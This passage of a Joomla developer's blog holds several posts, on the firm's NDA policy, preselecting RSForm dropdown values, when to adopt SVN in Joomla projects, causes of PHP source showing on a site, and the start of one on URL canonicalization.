  • We are ethical developers and our clients know it: We have immaculate ethics when it comes to our work. We treat our clients’ websites as if they were our own and we ensure that our code works properly on our clients’ websites before invoicing them. We treat all of our clients’ data as confidential and we never disclose that information to any other party without the explicit and written permission from our clients. We stay up at night until we fix a problem on a client’s website, and we have no problem waking up in the middle of the night in case of a Joomla emergency. Our clients know this, and that’s why we have nearly a 0% customer churn rate.

So, the question is, do we or do we not sign an NDA at itoctopus?

If you’re a first time client, then the answer is most likely to be “No” – we won’t sign an NDA with you, because we believe that if you want to work with us, then you should trust us at least the same way we trust you. But there are some situations where we are willing to sign an NDA, such as:

  • The client is US or Canada (excluding the city of Montreal) based and is at least a two months old client who has generated at least $15,000 in revenue for us. Also, the reason why the client wants us to sign an NDA is strictly because of company policy. In this situation, we are comfortable signing an NDA with the client.

  • The client is based in Montreal and is at least a one month old client who has generated at least $15,000 in revenue for us. The reason why the client wants us to sign the NDA must be one of the following:

    • Emerging company policy that applies across the board.

    • R&D credit (companies in Canada can claim contractors’ efforts – but only at about 47%)

    • The company is a sub-contractor for another company and that other company requires that everyone signs an NDA. In this situation we’ll only sign an NDA with the subcontractor (our client), but not with the other company.

  • The client is a governmental agency in the US or Canada.

  • Exceptional cases.

So now you have it – this post defines our policy when it comes to NDAs and reflects our true opinion about these documents. If you have any questions about this post, or if you have a large Joomla project that you need us to work on (but you need us to sign an NDA first), then feel free to contact us. We are ready to explain our point of view and find a common ground where each party is happy – after all, we are the friendliest Joomla developers on this planet!

How to Automatically Select a Default Value in an RSForm Dropdown Form Field

Many of our clients use RSForm to dynamically generate forms on their Joomla websites. A client who was developing a form (using RSForm) very early in the morning today called us and asked us that he has a presentation this morning and he urgently needs to make a value in a dropdown box in his custom RS Form to be selected by default. In his situation, he needed the state field to be automatically set to CA (California).

We explained to him that all he had to do was to add [c] next to CA in his dropdown field value. For example, here’s what his state form field should be in RSForm’s interface:

Selected item in a dropdown in RSForm

Figure 1: Selected item in a dropdown in RSForm

Our client was amazed when we explained how it’s done – he thought it was a more complicated process. “Is this magic?” – he said. We told him that it was no magic – and that the file rsform.php located under the /administrator/components/com_rsform/helpers/ directory was handling this. The aforementioned file had this code:

if ((strpos($item, '[c]') !== false && empty($value)) || (isset($value[$data['NAME']]) && in_array($val, $value[$data['NAME']])))
	$additional .= 'selected="selected"';

The above code simply checks if [c] exists in the value of the list item, and if it does, then it’ll add the word “selected” by default to the <option> tag. Note that the second part in the condition above (isset…) is responsible for automatically selecting the item that the user has already selected when he submitted the form. This is useful when the user submits an erroneous form and so instead of having to re-fill all the information he already filled in – RSForm will automatically fill them based on what he already filled previously.

Note that there is another interesting trick in RSForm, which is adding [d] to the value of the list item. When you add [d] to a list item then you automatically disable it (e.g. you won’t be able to select it anymore). Try it!

PS: We’re amazed why the people who created RSForm did not make the process of automatically selecting an item in the dropdown box less technical. Although it’s very easy, we find it a bit technical especially for those who have very basic Joomla and HTML knowledge.

If you need help with your RSForm component, then feel free to contact us! We’re always there and our prices are always affordable. We also know Joomla’s ins and outs and there’s nothing that we just can’t do on this CMS! Try us!

When to Use SVN (or Git) in Joomla Development

We just started a large Joomla project with a local company (the company is located here in Montreal). The project consisted of customizing Joomla to fit the needs of a large NGO (we needed to create many extensions). In the first meeting that was held last week, we discussed with the company executives the project requirements – we understood the business of the organization (understanding the underlying business is very important for collecting the right project requirements) and we worked with the project manager to estimate the tasks. We then met with the IT manager, who made us acquainted with the technical environment that we needed to work in. He told us that they use VPN to access their environment, and that they use SVN for committing changes. We said that using VPN is a given for such a project, but that we can’t use SVN from the get-go when developing the website.

“You can’t use SVN? Why not?” The manager responded.

We said it’s because working on a Joomla website is not only about creating and uploading files, and we gave him the following example:

  • We are using SVN in the development of the Joomla website.
  • We create an extension (for example a component), we zip it, and then we install it on the Joomla website using the backend extension installer.

  • The Joomla installer will unzip the extension to a temporary folder, and then will move it to the right folder under the Joomla website. It’ll also create an entry in the database for that extension.

  • Since the files belonging to that extension were not committed using SVN, then they are not part of the SVN repository, which means that technically, they do not exist when it comes to the versioning system (be that SVN, Git, or CVS).

We explained that this limitation is very common to Joomla development and that all the methods devised to overcome it were not reliable (including using hooks and 3rd party Joomla SVN plugins).

So the IT manager asked us a second question: “OK – so what do you do if two of your programmers are working on the same file at the same time?” We answered that at the beginning of the project, this will not happen, because each person will be working on a specific extension and the project doesn’t consist of touching the Joomla core (so there’s no way two of us would be working on the same file) – and even if it does, we will be very careful not to overwrite each other’s changes. This answer lead to another question: “Does that mean that once the project is no longer in its beginning, you will be able to use SVN?”

We answered that once all the extensions are created and installed, we can then create the repository and we can start using SVN. So the time to use versioning when developing a Joomla website is when the creation of all the extensions is done – and all what’s remaining is the shaping, enhancement, and bug fixing of these extensions.

The IT manager was satisfied with our answer and agreed to give us the go-ahead to work in this hybrid Non-SVN/SVN development environment.

If you want to develop a large Joomla website and you want to use a versioning system then consider the above – using SVN (or any other versioning tool) is not possible until all the extensions are created (they don’t have to be done, they just have to be created). If you need further explanation/clarification on the subject or if you just need help on your project, then why not get in touch? We know our Joomla and we know how to answer any question on Joomla, we’re fast, we’re reliable, and our fees are quite affordable! What are you waiting for?

PHP Code Is Showing on Joomla Website

One of our clients called us today and said: “Help! My Joomla website is not working! It is displaying code instead of my content!”. We checked his website and true enough, it was indeed displaying PHP code instead of displaying actual content.

We’ve seen this problem before and we know that there are several reasons that can make it happen:

  • The website is moved to another host, but that other host does not have PHP installed.
  • PHP is installed on the server hosting the website, but Apache is not instructed to load the PHP module through the LoadModule directive in its httpd.conf file.

  • PHP is installed and the PHP module is successfully loaded, but the PHP handler (that tells Apache to associate .php files with the PHP application) does not exist. In other words, the following line is missing from the httpd.conf file:

    AddType application/x-httpd-php .php

  • The .htaccess file has explicit instructions to override default server settings and not to execute php files but to serve them as text instead. This happens when the following 2 lines are present in the .htaccess file:

    php_flag engine off
    AddType text/plain php

    The first line instructs the server not to process PHP files, and the second line tells the server to treat PHP files as plain text and display their content (as is) in the browser.

  • Malicious code is inserted into the index.php file. That malicious code simply spits (echoes) the PHP code in that file. This kind of hack is very deceptive, because it looks like as if the PHP parser is not working, while it really is, and usually (in this situation) the last thing that the developer will consider looking at is the index.php file.

For this client, the issue was that he moved his website from a Linux server to a Windows server that didn’t have PHP installed. It took us a few minutes to discover the issue.

If your PHP code is being displayed (instead of being processed) in your Joomla website, then we suggest you call your hosting company and ask them to check the issue for you. If they still can’t help you, then just contact us – we’d be happy to fix the problem for a very reasonable fee!

An Intelligent Approach to URL Canonicalization in Joomla

We are currently working on a very large project (yes, we’re even working on the weekends) – this project consists of building a Joomla website from scratch for a government agency (many government agencies use Joomla – see why Joomla is a good choice for government websites). Naturally, the project has an SEO aspect – and for such a huge project, you can imagine the amount of SEO work that needs to be done (both at the development level and at the content level). Our job was to only handle SEO at the development level, so we ensured that:

  • All URLs are SEF (Search Engine Friendly) URLs. Of course, that it’s an easy thing to do if you don’t have any custom exte